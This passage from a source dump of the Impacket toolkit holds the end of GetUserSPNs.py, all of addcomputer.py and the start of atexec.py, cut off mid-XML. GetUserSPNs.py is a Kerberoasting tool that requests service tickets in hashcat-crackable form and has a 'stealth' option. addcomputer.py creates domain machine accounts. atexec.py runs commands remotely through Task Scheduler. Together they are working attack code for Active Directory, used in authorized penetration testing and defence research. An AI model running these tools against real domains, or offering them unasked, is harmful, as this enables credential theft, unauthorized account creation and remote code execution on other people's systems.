delegation = ''\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = str(attribute['vals'][0])\n                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:\n                            delegation = 'unconstrained'\n                        elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:\n                            delegation = 'constrained'\n                    elif str(attribute['type']) == 'memberOf':\n                        memberOf = str(attribute['vals'][0])\n                    elif str(attribute['type']) == 'pwdLastSet':\n                        if str(attribute['vals'][0]) == '0':\n                            pwdLastSet = '<never>'\n                        else:\n                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'lastLogon':\n                        if str(attribute['vals'][0]) == '0':\n                            lastLogon = '<never>'\n                        else:\n                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'servicePrincipalName':\n                        for spn in attribute['vals']:\n                            SPNs.append(spn.asOctets().decode('utf-8'))\n\n                if mustCommit is True:\n                    if int(userAccountControl) & UF_ACCOUNTDISABLE:\n                        logging.debug('Bypassing disabled account %s ' % sAMAccountName)\n                    else:\n                        for spn in SPNs:\n                            answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])\n            except Exception as e:\n                logging.error('Skipping item, cannot process due to error %s' % str(e))\n                pass\n\n        if len(answers) > 0:\n            self.printTable(answers, header=[\"ServicePrincipalName\", \"Name\", \"MemberOf\", \"PasswordLastSet\", \"LastLogon\",\n                                             \"Delegation\"])\n            print('\\n\\n')\n\n            if self.__requestTGS is True or self.__requestUser is not None or self.__requestMachine is not None:\n                # Let's get unique user names and a SPN to request a TGS for\n                users = dict((vals[1], vals[0]) for vals in answers)\n\n                # Get a TGT for the current user\n                TGT = self.getTGT()\n\n                if self.__outputFileName is not None:\n                    fd = open(self.__outputFileName, 'w+')\n                else:\n                    fd = None\n\n                for user, SPN in users.items():\n                    sAMAccountName = user\n                    downLevelLogonName = self.__targetDomain + \"\\\\\" + sAMAccountName\n\n                    try:\n                        principalName = Principal()\n                        principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value\n                        principalName.components = [downLevelLogonName]\n\n                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,\n                                                                                self.__kdcIP,\n                                                                                TGT['KDC_REP'], TGT['cipher'],\n                                                                                TGT['sessionKey'])\n                        self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,\n                                       self.__targetDomain + \"/\" + sAMAccountName, fd)\n                    except Exception as e:\n                        logging.debug(\"Exception:\", exc_info=True)\n                        logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))\n\n                if fd is not None:\n                    fd.close()\n\n        else:\n            print(\"No entries found!\")\n\n    def request_users_file_TGSs(self):\n\n        with open(self.__usersFile) as fi:\n            usernames = [line.strip() for line in fi]\n\n        self.request_multiple_TGSs(usernames)\n\n    def request_multiple_TGSs(self, usernames):\n        if self.__outputFileName is not None:\n            fd = open(self.__outputFileName, 'w+')\n        else:\n            fd = None\n            \n        if self.__no_preauth:\n            for username in usernames:\n                try:\n                    no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal,\n                                                                            password=self.__password,\n                                                                            domain=self.__domain,\n                                                                            lmhash=(self.__lmhash),\n                                                                            nthash=(self.__nthash),\n                                                                            aesKey=self.__aesKey,\n                                                                            kdcHost=self.__kdcHost,\n                                                                            serverName=username,\n                                                                            kerberoast_no_preauth=True)\n                    self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)\n                except Exception as e:\n                    logging.debug(\"Exception:\", exc_info=True)\n                    logging.error('Principal: %s - %s' % (username, str(e)))\n\n            if fd is not None:\n                fd.close()\n        else:\n            # Get a TGT for the current user\n            TGT = self.getTGT()\n            \n            for username in usernames:\n                try:\n                    principalName = Principal()\n                    principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value\n                    principalName.components = [username]\n\n                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,\n                                                                            self.__kdcIP,\n                                                                            TGT['KDC_REP'], TGT['cipher'],\n                                                                            TGT['sessionKey'])\n                    self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)\n                except Exception as e:\n                    logging.debug(\"Exception:\", exc_info=True)\n                    logging.error('Principal: %s - %s' % (username, str(e)))\n\n            if fd is not None:\n                fd.close()\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Queries target domain for SPNs that are running \"\n                                                                \"under a user account\")\n\n    parser.add_argument('target', action='store', help='domain[/username[:password]]')\n    parser.add_argument('-target-domain', action='store',\n                        help='Domain to query/request if different than the domain of the user. '\n                             'Allows for Kerberoasting across trusts.')\n    parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'\n                                                         ' through the AS')\n    parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. '\n                                                              'May cause huge memory consumption / errors on large domains.')\n    parser.add_argument('-machine-only', action='store_true', default=False, help='Queries for machine accounts only, by adjusting `objectCategory=person` to `objectCategory=computer`. Active Directory may limit results to 1,000 objects by default. LDAP paging is required to retrieve more.')\n\n    parser.add_argument('-usersfile', help='File with user per line to test')\n\n    parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '\n                                                                             'in JtR/hashcat format (default False)')\n    exclusive_request_group = parser.add_mutually_exclusive_group()\n    exclusive_request_group.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated '\n                                                                                  'to the user specified (just the username, no domain needed)')\n\n    exclusive_request_group.add_argument('-request-machine', metavar='machinename', help='Requests TGS for the SPN associated to the machine specified. Example: `workstation01$`')\n\n    parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is '\n                                                                          '<username>.ccache. Auto selects -request')\n    parser.add_argument('-outputfile', action='store',\n                        help='Output filename to write ciphers in JtR/hashcat format. Auto selects -request')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output.')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\",\n                       help='Use Kerberos authentication. Grabs credentials from ccache file '\n                            '(KRB5CCNAME) based on target parameters. If valid credentials '\n                            'cannot be found, it will use the ones specified in the command '\n                            'line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                          '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '\n                                                                            'ommited it use the domain part (FQDN) '\n                                                                            'specified in the target parameter. Ignored'\n                                                                            'if -target-domain is specified.')\n    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '\n                                                                            'If ommited, the domain part (FQDN) '\n                                                                            'specified in the account parameter will be used')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.no_preauth and options.usersfile is None:\n        logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain'\n                      ' a list of SPNs and/or sAMAccountNames to Kerberoast.')\n        sys.exit(1)\n\n    userDomain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if userDomain == '':\n        logging.critical('userDomain should be specified!')\n        sys.exit(1)\n\n    if options.target_domain:\n        targetDomain = options.target_domain\n    else:\n        targetDomain = userDomain\n\n    if options.save is True or options.outputfile is not None:\n        options.request = True\n\n    # auto enable machineonly, and request flag on -request-machine\n    if options.request_machine is not None:\n        options.machine_only = True\n\n    try:\n        executer = GetUserSPNs(username, password, userDomain, targetDomain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/addcomputer.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will add a computer account to the domain and set its password.\n#   Allows to use SAMR over SMB (this way is used by modern Windows computer when\n#   adding machines through the GUI) and LDAPS.\n#   Plain LDAP is not supported, as it doesn't allow setting the password.\n#\n# Author:\n#   JaGoTu (@jagotu)\n#\n# Reference for:\n#   SMB, SAMR, LDAP\n#\n# ToDo:\n#   [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity\nfrom impacket.dcerpc.v5 import samr, epm, transport\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech\n\nfrom impacket.examples.utils import init_ldap_session, ldap3_kerberos_login\n\nimport ldap3\nimport argparse\nimport logging\nimport sys\nimport string\nimport random\nimport ssl\nfrom binascii import unhexlify\n\n\nclass ADDCOMPUTER:\n    def __init__(self, username, password, domain, cmdLineOptions):\n        self.options = cmdLineOptions\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__hashes = cmdLineOptions.hashes\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        self.__target = cmdLineOptions.dc_host\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__computerName = cmdLineOptions.computer_name\n        self.__computerPassword = cmdLineOptions.computer_pass\n        self.__method = cmdLineOptions.method\n        self.__port = cmdLineOptions.port\n        self.__domainNetbios = cmdLineOptions.domain_netbios\n        self.__noAdd = cmdLineOptions.no_add\n        self.__delete = cmdLineOptions.delete\n        self.__targetIp = cmdLineOptions.dc_ip\n        self.__baseDN = cmdLineOptions.baseDN\n        self.__computerGroup = cmdLineOptions.computer_group\n\n        if self.__targetIp is not None:\n            self.__kdcHost = self.__targetIp\n\n        if self.__method not in ['SAMR', 'LDAPS']:\n            raise ValueError(\"Unsupported method %s\" % self.__method)\n\n        if self.__doKerberos and cmdLineOptions.dc_host is None:\n            raise ValueError(\"Kerberos auth requires DNS name of the target DC. Use -dc-host.\")\n\n        if self.__method == 'LDAPS' and not '.' in self.__domain:\n                logging.warning('\\'%s\\' doesn\\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)\n\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n        if self.__computerName is None:\n            if self.__noAdd:\n                raise ValueError(\"You have to provide a computer name when using -no-add.\")\n            elif self.__delete:\n                raise ValueError(\"You have to provide a computer name when using -delete.\")\n        else:\n            if self.__computerName[-1] != '$':\n                self.__computerName += '$'\n\n        if self.__computerPassword is None:\n            self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))\n\n        if self.__target is None:\n            if not '.' in self.__domain:\n                logging.warning('No DC host set and \\'%s\\' doesn\\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain)\n            self.__target = self.__domain\n\n        if self.__port is None:\n            if self.__method == 'SAMR':\n                self.__port = 445\n            elif self.__method == 'LDAPS':\n                self.__port = 636\n\n        if self.__domainNetbios is None:\n            self.__domainNetbios = self.__domain\n\n        if self.__method == 'LDAPS' and self.__baseDN is None:\n             # Create the baseDN\n            domainParts = self.__domain.split('.')\n            self.__baseDN = ''\n            for i in domainParts:\n                self.__baseDN += 'dc=%s,' % i\n            # Remove last ','\n            self.__baseDN = self.__baseDN[:-1]\n\n        if self.__method == 'LDAPS' and self.__computerGroup is None:\n            self.__computerGroup = 'CN=Computers,' + self.__baseDN\n\n\n\n    def run_samr(self):\n        if self.__targetIp is not None:\n            stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')\n        else:\n            stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n        rpctransport.set_dport(self.__port)\n\n        if self.__targetIp is not None:\n            rpctransport.setRemoteHost(self.__targetIp)\n            rpctransport.setRemoteName(self.__target)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                         self.__nthash, self.__aesKey)\n\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n        self.doSAMRAdd(rpctransport)\n\n    def run_ldaps(self):\n        try:\n            ldapServer, ldapConn = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__targetIp, self.__target, self.__aesKey, True)\n\n            if self.__noAdd or self.__delete:\n                if not self.LDAPComputerExists(ldapConn, self.__computerName):\n                    raise Exception(\"Account %s not found in %s!\" % (self.__computerName, self.__baseDN))\n\n                computer = self.LDAPGetComputer(ldapConn, self.__computerName)\n\n                if self.__delete:\n                    res = ldapConn.delete(computer.entry_dn)\n                    message = \"delete\"\n                else:\n                    res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['\"{}\"'.format(self.__computerPassword).encode('utf-16-le')])]})\n                    message = \"set password for\"\n\n\n                if not res:\n                    if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:\n                        raise Exception(\"User %s doesn't have right to %s %s!\" % (self.__username, message, self.__computerName))\n                    else:\n                        raise Exception(str(ldapConn.result))\n                else:\n                    if self.__noAdd:\n                        logging.info(\"Succesfully set password of %s to %s.\" % (self.__computerName, self.__computerPassword))\n                    else:\n                        logging.info(\"Succesfully deleted %s.\" % self.__computerName)\n\n            else:\n                if self.__computerName is not None:\n                    if self.LDAPComputerExists(ldapConn, self.__computerName):\n                        raise Exception(\"Account %s already exists! If you just want to set a password, use -no-add.\" % self.__computerName)\n                else:\n                    while True:\n                        self.__computerName = self.generateComputerName()\n                        if not self.LDAPComputerExists(ldapConn, self.__computerName):\n                            break\n\n\n                computerHostname = self.__computerName[:-1]\n                computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))\n\n                # Default computer SPNs\n                spns = [\n                    'HOST/%s' % computerHostname,\n                    'HOST/%s.%s' % (computerHostname, self.__domain),\n                    'RestrictedKrbHost/%s' % computerHostname,\n                    'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),\n                ]\n                ucd = {\n                    'dnsHostName': '%s.%s' % (computerHostname, self.__domain),\n                    'userAccountControl': 0x1000,\n                    'servicePrincipalName': spns,\n                    'sAMAccountName': self.__computerName,\n                    'unicodePwd': ('\"%s\"' % self.__computerPassword).encode('utf-16-le')\n                }\n\n                res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)\n                if not res:\n                    if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:\n                        error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16)\n                        if error_code == 0x216D:\n                            raise Exception(\"User %s machine quota exceeded!\" % self.__username)\n                        else:\n                            raise Exception(str(ldapConn.result))\n                    elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:\n                        raise Exception(\"User %s doesn't have right to create a machine account!\" % self.__username)\n                    else:\n                        raise Exception(str(ldapConn.result))\n                else:\n                    logging.info(\"Successfully added machine account %s with password %s.\" % (self.__computerName, self.__computerPassword))\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n\n            logging.critical(str(e))\n\n\n    def LDAPComputerExists(self, connection, computerName):\n        connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)\n        return len(connection.entries) ==1\n\n    def LDAPGetComputer(self, connection, computerName):\n        connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)\n        return connection.entries[0]\n\n    def generateComputerName(self):\n        return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')\n\n    def doSAMRAdd(self, rpctransport):\n        dce = rpctransport.get_dce_rpc()\n        servHandle = None\n        domainHandle = None\n        userHandle = None\n        try:\n            dce.connect()\n            dce.bind(samr.MSRPC_UUID_SAMR)\n\n            samrConnectResponse = samr.hSamrConnect5(dce, '\\\\\\\\%s\\x00' % self.__target,\n                samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )\n            servHandle = samrConnectResponse['ServerHandle']\n\n            samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)\n            domains = samrEnumResponse['Buffer']['Buffer']\n            domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))\n\n            if len(domainsWithoutBuiltin) > 1:\n                domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))\n                if len(domain) != 1:\n                    logging.critical(\"This server provides multiple domains and '%s' isn't one of them.\", self.__domainNetbios)\n                    logging.critical(\"Available domain(s):\")\n                    for domain in domains:\n                        logging.error(\" * %s\" % domain['Name'])\n                    logging.critical(\"Consider using -domain-netbios argument to specify which one you meant.\")\n                    raise Exception()\n                else:\n                    selectedDomain = domain[0]['Name']\n            else:\n                selectedDomain = domainsWithoutBuiltin[0]['Name']\n\n            samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)\n            domainSID = samrLookupDomainResponse['DomainId']\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.info(\"Opening domain %s...\" % selectedDomain)\n            samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)\n            domainHandle = samrOpenDomainResponse['DomainHandle']\n\n\n            if self.__noAdd or self.__delete:\n                try:\n                    checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])\n                except samr.DCERPCSessionError as e:\n                    if e.error_code == 0xc0000073:\n                        raise Exception(\"Account %s not found in domain %s!\" % (self.__computerName, selectedDomain))\n                    else:\n                        raise\n\n                userRID = checkForUser['RelativeIds']['Element'][0]\n                if self.__delete:\n                    access = samr.DELETE\n                    message = \"delete\"\n                else:\n                    access = samr.USER_FORCE_PASSWORD_CHANGE\n                    message = \"set password for\"\n                try:\n                    openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)\n                    userHandle = openUser['UserHandle']\n                except samr.DCERPCSessionError as e:\n                    if e.error_code == 0xc0000022:\n                        raise Exception(\"User %s doesn't have right to %s %s!\" % (self.__username, message, self.__computerName))\n                    else:\n                        raise\n            else:\n                if self.__computerName is not None:\n                    try:\n                        checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])\n                        raise Exception(\"Account %s already exists! If you just want to set a password, use -no-add.\" % self.__computerName)\n                    except samr.DCERPCSessionError as e:\n                        if e.error_code != 0xc0000073:\n                            raise\n                else:\n                    foundUnused = False\n                    while not foundUnused:\n                        self.__computerName = self.generateComputerName()\n                        try:\n                            checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])\n                        except samr.DCERPCSessionError as e:\n                            if e.error_code == 0xc0000073:\n                                foundUnused = True\n                            else:\n                                raise\n\n                createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)\n                userHandle = createUser['UserHandle']\n\n            if self.__delete:\n                samr.hSamrDeleteUser(dce, userHandle)\n                logging.info(\"Successfully deleted %s.\" % self.__computerName)\n                userHandle = None\n            else:\n                samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)\n                if self.__noAdd:\n                    logging.info(\"Successfully set password of %s to %s.\" % (self.__computerName, self.__computerPassword))\n                else:\n                    checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])\n                    userRID = checkForUser['RelativeIds']['Element'][0]\n                    openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)\n                    userHandle = openUser['UserHandle']\n                    req = samr.SAMPR_USER_INFO_BUFFER()\n                    req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation\n                    req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT\n                    samr.hSamrSetInformationUser2(dce, userHandle, req)\n                    logging.info(\"Successfully added machine account %s with password %s.\" % (self.__computerName, self.__computerPassword))\n\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n\n            logging.critical(str(e))\n        finally:\n            if userHandle is not None:\n                samr.hSamrCloseHandle(dce, userHandle)\n            if domainHandle is not None:\n                samr.hSamrCloseHandle(dce, domainHandle)\n            if servHandle is not None:\n                samr.hSamrCloseHandle(dce, servHandle)\n            dce.disconnect()\n\n    def run(self):\n        if self.__method == 'SAMR':\n            self.run_samr()\n        elif self.__method == 'LDAPS':\n            self.run_ldaps()\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Adds a computer account to domain\")\n\n    if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874\n        parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.')\n    else:\n        parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')\n    parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')\n    parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'\n                                                                                 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')\n    parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer'\n                                                                                 'If omitted, a random [A-Za-z0-9]{32} will be used.')\n    parser.add_argument('-no-add', action='store_true', help='Don\\'t add a computer, only set password on existing one.')\n    parser.add_argument('-delete', action='store_true', help='Delete an existing computer.')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-method', choices=['SAMR', 'LDAPS'], default='SAMR', help='Method of adding the computer.'\n                                                                                'SAMR works over SMB.'\n                                                                                'LDAPS has some certificate requirements'\n                                                                                'and isn\\'t always available.')\n\n\n    parser.add_argument('-port', type=int, choices=[139, 445, 636],\n                       help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.')\n\n    group = parser.add_argument_group('LDAP')\n    group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'\n                                                                                    'If ommited, the domain part (FQDN) '\n                                                                                    'specified in the account parameter will be used.')\n    group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.'\n                                                                                                        'If omitted, CN=Computers will be used,')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on account parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-host', action='store',metavar = \"hostname\",  help='Hostname of the domain controller to use. '\n                                                                              'If ommited, the domain part (FQDN) '\n                                                                              'specified in the account parameter will be used')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip\",  help='IP of the domain controller to use. '\n                                                                      'Useful if you can\\'t translate the FQDN.'\n                                                                      'specified in the account parameter will be used')\n\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    logger.init(options.ts, options.debug)\n    \n    domain, username, password, _, _, options.k = parse_identity(options.account, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    try:\n        executer = ADDCOMPUTER(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        print(str(e))\n"
  },
  {
    "path": "examples/atexec.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   ATSVC example for some functions implemented, creates, enums, runs, delete jobs\n#   This example executes a command on the target machine through the Task Scheduler\n#   service. Returns the output of such command\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   DCE/RPC for TSCH\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport string\nimport sys\nimport argparse\nimport time\nimport random\nimport logging\n\nfrom impacket.examples import logger\nfrom impacket import version\nfrom impacket.dcerpc.v5 import tsch, transport\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, \\\n    RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.examples.utils import parse_target\nfrom impacket.krb5.keytab import Keytab\nfrom six import PY2\n\nCODEC = sys.stdout.encoding\n\nclass TSCH_EXEC:\n    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None,\n                 command=None, sessionId=None, silentCommand=False):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__command = command\n        self.__silentCommand = silentCommand\n        self.sessionId = sessionId\n\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def play(self, addr):\n        stringbinding = r'ncacn_np:%s[\\pipe\\atsvc]' % addr\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                                         self.__aesKey)\n            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n        try:\n            self.doStuff(rpctransport)\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(e)\n            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:\n                logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')\n\n    def doStuff(self, rpctransport):\n        def output_callback(data):\n            try:\n                print(data.decode(CODEC))\n            except UnicodeDecodeError:\n                logging.error('Decoding error detected, consider running chcp.com at the target,\\nmap the result with '\n                              'https://docs.python.org/3/library/codecs.html#standard-encodings\\nand then execute atexec.py '\n                              'again with -codec and the corresponding codec')\n                print(data.decode(CODEC, errors='replace'))\n\n        def xml_escape(data):\n            replace_table = {\n                 \"&\": \"&amp;\",\n                 '\"': \"&quot;\",\n                 \"'\": \"&apos;\",\n                 \">\": \"&gt;\",\n                 \"<\": \"&lt;\",\n                 }\n            return ''.join(replace_table.get(c, c) for c in data)\n\n        def cmd_split(cmdline):\n            cmdline = cmdline.split(\" \", 1)\n            cmd = cmdline[0]\n            args = cmdline[1] if len(cmdline) > 1 else ''\n\n            return [cmd, args]\n\n        dce = rpctransport.get_dce_rpc()\n\n        dce.set_credentials(*rpctransport.get_credentials())\n        if self.__doKerberos is True:\n            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n        dce.connect()\n        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n        dce.bind(tsch.MSRPC_UUID_TSCHS)\n        tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])\n        tmpFileName = tmpName + '.tmp'\n\n        if self.sessionId is not None:\n            cmd, args = cmd_split(self.__command)\n        else:\n            cmd = \"cmd.exe\"\n            args = \"/C %s > %%windir%%\\\\Temp\\\\%s 2>&1\" % (self.__command, tmpFileName)\n\n        xml = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\n  <Triggers>\n    <CalendarTrigger>\n      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>\n      <Enabled>true</Enabled>\n      <ScheduleByDay>\n        